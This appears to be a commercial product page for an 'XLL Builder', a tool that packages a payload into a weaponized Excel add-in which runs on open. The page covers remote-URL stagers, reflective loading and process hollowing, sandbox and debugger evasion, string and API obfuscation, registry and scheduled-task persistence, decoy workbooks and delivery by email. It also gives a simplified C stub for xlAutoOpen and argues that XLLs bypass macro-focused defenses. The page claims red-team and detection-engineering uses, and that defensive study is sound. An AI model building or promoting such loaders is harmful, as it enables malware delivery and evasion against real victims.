Office Add-in · Native DLL

XLL Builder.

.xll

Generate weaponized Microsoft Excel Add-in (.xll) files that execute inside Excel's trusted process space. XLLs are native DLLs with the xlAutoOpen entrypoint — Excel resolves and invokes it the moment the file is opened, before any document content is evaluated.

x86 / x64

Architectures

Excel 2010+

Compatibility

Native PE/DLL

Output Format

No Macros

VBA-Free

Overview

What is an XLL?

An XLL is a native DLL that exposes a documented Excel C API. It is, structurally, a Windows PE file with the extension renamed to .xll. When opened, Excel maps it into its own address space and invokes a fixed set of exported entrypoints — the most important being xlAutoOpen, which is called before any user interaction.

This means an XLL has the same trust posture as a regular DLL loaded by Excel: full access to the Excel process token, network, filesystem, registry, and any Windows API. There is no scripting sandbox, no macro warning bar in many configurations, and no Protected View when the XLL is delivered through methods other than direct download.

Native code execution — no VBA, no JScript, no scripting host required
Runs in EXCEL.EXE — a Microsoft-signed, fully-trusted process
Single-click activation: open the file › xlAutoOpen fires › payload runs
Output is a real PE/DLL, not a wrapper script — analyzers must reverse the binary

Execution Flow

How the builder works.

From source executable to deliverable XLL in seconds. Pick your binary, choose options, generate.

STEP 01

Provide Payload

Drop in a local PE file (.exe) or supply a remote URL the XLL should fetch on activation.

STEP 02

Configure Stub

Pick architecture (x86/x64), execution method, persistence flags, and decoy behavior.

STEP 03

Build XLL

Builder produces a native PE with xlAutoOpen entrypoint, embedded payload (or stager), and obfuscated strings.

STEP 04

Deliver

Send the .xll via mail, link, or share. Target opens in Excel › payload runs. No VBA prompt.

Technical Details

Under the hood.

A look at how the generated XLL behaves at runtime.

Entrypoint Hook

The stub exports xlAutoOpen (and optionally xlAutoClose, xlAutoAdd). Excel calls these by name during add-in load — no user click on a content surface, no enable-button required.

Payload Strategy

Choose between (a) embedded — payload bytes encrypted in the XLL's resource section and decrypted in-memory, or (b) stager — XLL fetches the payload from your URL over TLS and runs it.

Execution Methods

Reflective load, CreateProcess with hollow target, manual mapping, or thread-pool callback. Several primitives are selectable per build.

Decoy & UX

Optional decoy: open a benign workbook from embedded data so the user sees a real spreadsheet while execution happens silently in the background.

String & API Obfuscation

String stack-encryption, indirect API resolution via PEB walking + hashing (no plain GetProcAddress), control-flow flattening on critical functions.

Architecture Match

Builder produces both x86 and x64 outputs. Excel bitness must match the XLL bitness — choose accordingly or build both.

xll-stub.c · simplified

// Excel resolves and calls xlAutoOpen on add-in load.
// No content macros. No VBA prompt. Native code path.
__declspec(dllexport) int WINAPI xlAutoOpen(void) {
    if (Sandbox_Detected()) return 1;          // quiet exit
    unsigned char *blob = Decrypt_Resource("PAY"); // AES + per-build key
    Reflective_Load(blob, blob_size);              // or stager fetch
    Show_Decoy_Workbook();                         // optional UX
    return 1;
}

Specifications

Module specs.

Output Format	Native Windows PE (DLL) with `.xll` extension
Architectures	`x86` and `x64` — match target Excel bitness
Office Compatibility	Excel 2010 / 2013 / 2016 / 2019 / 2021 / Microsoft 365
Entrypoint	`xlAutoOpen` (mandatory), `xlAutoClose`, `xlAutoAdd` (optional)
Delivery Mode	URL stager (HTTPS fetch on open) · Local embed (encrypted resource section, in-memory load)
Execution Primitives	Reflective loader · Process hollow · Manual map · Thread-pool callback
Obfuscation	String encryption · API hashing · Control-flow flattening · Per-build polymorphism
Decoy Support	Embedded benign `.xlsx` opened post-execution
Anti-Analysis	Sandbox checks, debugger detection, sleep skewing, time-based gating
Persistence (optional)	Registry `OPEN` key under `Excel\Options`, scheduled task, startup XLL drop

Use Cases

When to use XLL.

Authorized engagements where Excel-side delivery is desirable.

🎯

Red Team — Office Vector

Targets running mature EDR but lax Office policy. XLL bypasses VBA-focused detections that don't inspect native add-in loads.

🔬

Detection Engineering

Generate samples to validate Sigma/YARA rules covering xlAutoOpen exports, suspicious DLL loads under EXCEL.EXE, and Office add-in registry artifacts.

🎓

Awareness Training

Authorized phishing simulations where the lure is a financial spreadsheet — measure click-through and Excel-trust behaviors.

🧪

Malware Analysis Lab

Reproducible XLL test corpora for sandbox tuning, EDR telemetry validation, and DFIR triage practice.

🚩

CTF / Home Lab

Build challenges around Office trust boundaries, native add-in loaders, and reflective DLL injection.

🛡

Adversary Simulation

Replay APT TTPs that historically used XLL delivery (FIN7, TA505, OilRig variants) to test full kill-chain coverage.

Why XLL?

XLL vs. macro documents.

No VBA project. Macro-aware AV rules and DOCM/XLSM static signatures simply don't apply — there's no vbaProject.bin to inspect.
No "Enable Content" bar. Depending on Office add-in trust settings, XLL load proceeds silently. No two-click ceremony.
Native code, native problems. Defenders need real binary analysis (PE parsing, import hashing, entropy) — text-based macro heuristics are blind here.
VBA password isn't a thing. No DPB hex to crack, no Dir-stream artifacts. Build artifacts are pure compiled PE.
Per-build polymorphism. Strings, layout, and API resolution differ every build — generic hashes are useless.

⚠

Note. Some hardened Office configurations block .xll add-ins by group policy or via the Office Trust Center. Always validate your delivery vector against the target's policy before relying on XLL exclusively.

Pricing